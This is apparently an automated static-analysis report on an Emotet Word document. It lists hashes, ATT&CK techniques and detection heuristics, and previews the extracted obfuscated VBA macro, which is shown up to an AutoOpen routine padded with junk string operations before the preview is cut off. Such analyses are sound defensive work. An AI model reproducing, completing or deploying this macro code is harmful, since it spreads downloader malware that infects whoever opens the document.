Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 7c725376d061a6d5…

MALICIOUS

Office (OLE)

131.1 KB Created: 2018-09-28 09:11:00 Authoring application: Microsoft Office Word First seen: 2019-01-11
MD5: 783c166ff248f55e3c6e1999534971b8 SHA-1: 5b95afdc48caf1c7c0613c7c035de87ecf265c46 SHA-256: 7c725376d061a6d5bc19a539b28a1ca9bede3abc3e889f58a7c3d3880b81bfe2
202 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The sample was detected as Emotet by ClamAV and contains critical heuristics for VBA macros and Shell() calls. The AutoOpen macro is present, indicating an attempt to execute malicious code upon opening. The VBA script likely downloads and executes a second-stage payload, consistent with Emotet's behavior.

Heuristics 6

  • ClamAV: Doc.Downloader.Emotet-6826489-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-6826489-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 84527 bytes
SHA-256: 2d0af32b5781b6a51f85f72074db37aa882c6d74907aac2fd64be3cd575f3134
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "kQSIzGDwt"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
   Dim fRXLHk(2)
fRXLHk(0) = InStr(LRAdH + mhnKzwliZsEjiTDqja + AiBGVza, IJXZuNa + fsmPjfcihaRTcbjwIblDK + zJJoFdXA) + InStr(wlzVit + pTojwdHhKHtocIjRubwtS + wBiai, KUnHTN + YzNtAdWNqLcWRsznjGwD + ZiHVcL) + InStrRev(NDzfZhf + UkTFztNlVZzaZUbzPHli + JNvuwQIG, SLTbkiI + fmndAzFGKRiGNPoSpFRssv + AAOlzv) + InStr(EWkuzrK + QvMwEmFwBkNtuiXaSYRnS + SvmUz, vbzQYvNJ + tDMKbWWmDJItKtUJMU + XwSiGCJs)
fRXLHk(1) = InStrRev(HuPaAqt + KrjXcrXNtzbppMJTQUdLA + OijtdPwW, raprjpHz + SEAmnazijjflsdHQjiS + wlTbji) + InStrRev(rbZJi + vpzsMLpFOrLZjAIipC + SzKUoKLT, CUujZjB + OMpTWcRuAwIDhqCvXitudf + fAaZjE) + InStrRev(mdjns + mSRYwnBjjFNRMnZNm + bPDzjDCN, AOGbL + bbzttaqoUQsOikVCUBGAwTR + COqAj) + InStrRev(LuEhoNI + lUAZQtSJnzUaAadlRiPM + YajKNHsE, wQcwJv + tdRkudFPXkFVINhjZvfEQ + cLwhbVY)
   Dim XdwwiR(1)
XdwwiR(0) = InStr(zJtHiYW + GEWrGBqVFGuCpCHnaf + RhYLd, jwEQNtLz + LGIMGhwMDjRjYzEJhqJ + VHplbnr) + InStrRev(LOZYvLAb + NMRPjbvHnjlChfsLtZMbbX + ACsJGz, QDsIJ + kRGZLrtEHQwsBkXLotOidm + OmFjBH) + InStrRev(KVwzYHz + pCzJjBlwzwVnAVfSHX + KZaUtZnh, dnjLMiY + DJjGXsKwcfYdajFtHMLQD + pEpIw) + InStrRev(ZLfbT + jckFPKzWWdcirtjTOCF + flVEPhNP, YjaKnc + iTfTOGmmvzoZdadouzoIN + YCRisr)
   Dim KanjF(2)
KanjF(0) = InStrRev(YVULspDu + MjwNYBaIuTBvPpCHEldVz + wwumHBd, rbFlY + DJiWaEuzBnzFiFpFcNOnR + GpVkQ) + InStrRev(NZMTkIrU + GOdiZhdATkKpWMzPZPkDIsJw + jNHObj, jjIsjUPG + qGltsfaWKVmQiPFdwNpJ + SjhfPnB)
KanjF(1) = InStrRev(IZinVc + KsYuPtDFKdGwjJaw + GWTwraZz, BIJiRho + nbKdYBHcCdudEVEzY + GdaczN) + InStrRev(zVYrFQv + NpTwvzqXzavcqdUjCwmo + CIVmpvIc, ifYLjkE + vjXiuivPqwbBioUlYCSTS + duJASsCY) + InStrRev(fiaDCz + LJhzYSrSLNdQEFslOXFYc + NKuiVCZ, zOfVq + ZrLLwGawKOiOEEmFhUk + Ejwal) + InStr(vGUjjR + nETjLouTMJbilpCAHNbf + nTYtZD, zRdABi + QzOczJilqiQZciJXVWZ + VDlUw)
   Dim LWfVc(1)
LWfVc(0) = InStrRev(tiPzGo + zkhJwuJDfwficwWdcar + Wbvbq, KiciL + aYOMbqjrQjzwjoIzVnWz + qimwBw) + InStrRev(XvEONP + FkfuqOQwnVLhqDZlLtTpRtk + HYbtFpim, cbOnAOd + jriWUdjluNBGocMcFsIR + QKwGTb) + InStrRev(DtwcBH + CwsGaWlvcBBVpZGDTmfS + jCujPWE, pMYzptX + qZmwOVDvDwkafrUsFj + pmzMBZQK) + InStrRev(VbsomnZ + bBPwSwTwZfGizKPJTdi + JBBhr, TuUivZn + CGSlQUrPqbYPrizpRjRbt + MJGhX)
   Dim zsqrNO(2)
zsqrNO(0) = InStrRev(NuDBFj + dWPNHMQqodRXkJrWDzaW + jPPbj, RvYzj + kbQBYlLdCUrNMBnIMbzBzJp + cLuCC) + InStr(bjYzVpk + HoluQHzYuKnajQLTSIRp + ZHiBmWq, pUDajUpw + uzANfFiRUEqUqArwlX + mdYjpbw) + InStrRev(mhNbY + nhsYqjwUGtUwAtXNkHiP + rsESPs, sIEfv + iDGjhiLtwnELFRoFzquC + bOFrpF) + InStrRev(JFEbjVp + LVcoGzBmqqmNwWFPY + qJSBC, lSPlIij + VQEoCPzvVDiJPaHiSWE + ZAXaAE)
zsqrNO(1) = InStr(PwkwUj + WSFhjzcpzvbCQVqOC + zqUjPL, UjGCwDz + aYUlCJZzvTdiRISOMAjQ + cPVzTw) + InStr(LndWc + uRPPLwpHSnlkAIzXZtESj + VSiVO, jRjTAL + AOhfNjHiVYEWnqwjdXklE + EitWHl)
   Dim bEiwl(2)
bEiwl(0) = InStrRev(JCapicnI + jqCSiIdpbmXlwDNbcZQUrS + dzERnuim, lwwBLwRJ + imznahBQWLzhPzJwcGKqr + fbOUCi) + InStrRev(PrwQrGz + qjmOhBLHKJKTkIBVn + dSBzIp, sfdoAK + warJuXWvwqjbqaVD + hthqpR) + InStrRev(fuzTGDv + ZFviELzjoDnNiHvjKSEGt + BsNbAf, vzZidhhD + atSQpXSPlTVzBpoaIoXs + JWFnzcO) + InStrRev(SwzlCpJ + JUawXtWbdzoCAsBMAQJEW + sqZDlwa, EILzMzc + AoPwEDWzNAAPEcozXszNvQn + BACnHT)
bEiwl(1) = InStrRev(TvlVhzA + jpEiLzidtBjQiBmz + swiwU, bpvwA + wUnqpCJZUFzPUqDCurs + rEmDnwC) + InStrRev(zSKOvHI + WOqUrrJkuzvpGzlPFq + iVPCjR, uqcWHvWN + iNIdjKLNwVsuzLzbo + VwCEMjrE) + InStrRev(UnLNIB + qUESasEbJkGNmsKaf + TITzXJM, KNWzjnDX + HIiUEOaZVwaGBvwcfi + VZKPIdwp) + InStrRev(TpTloPL + mLpkHOjrEvUdPOuXFzajMz + vQHjRW, ifpDA + GkrGqaFYUoDmLfdknSkVdwdJ + ErWjBUv)
UjjaQbiKnOmRF (KeyString(nOLWPR + SQNsvOjk + 21 + 18 + 28 + PftKRtBi + DCIjz) + cOHZcCt + MVcohzjE + KeyString(iczSVjhs + HdtpjH + 24 + 21 + 32 + NmczU + jFvUGTE) + chQkST + vKRamNR + okLdzBNv + plAkWNkh + bwsbkkiC)
   Dim KCqRn(1)
KCqRn(0) = InStrRev(LCGbDBQw + awlPwEHivzD
... (truncated)

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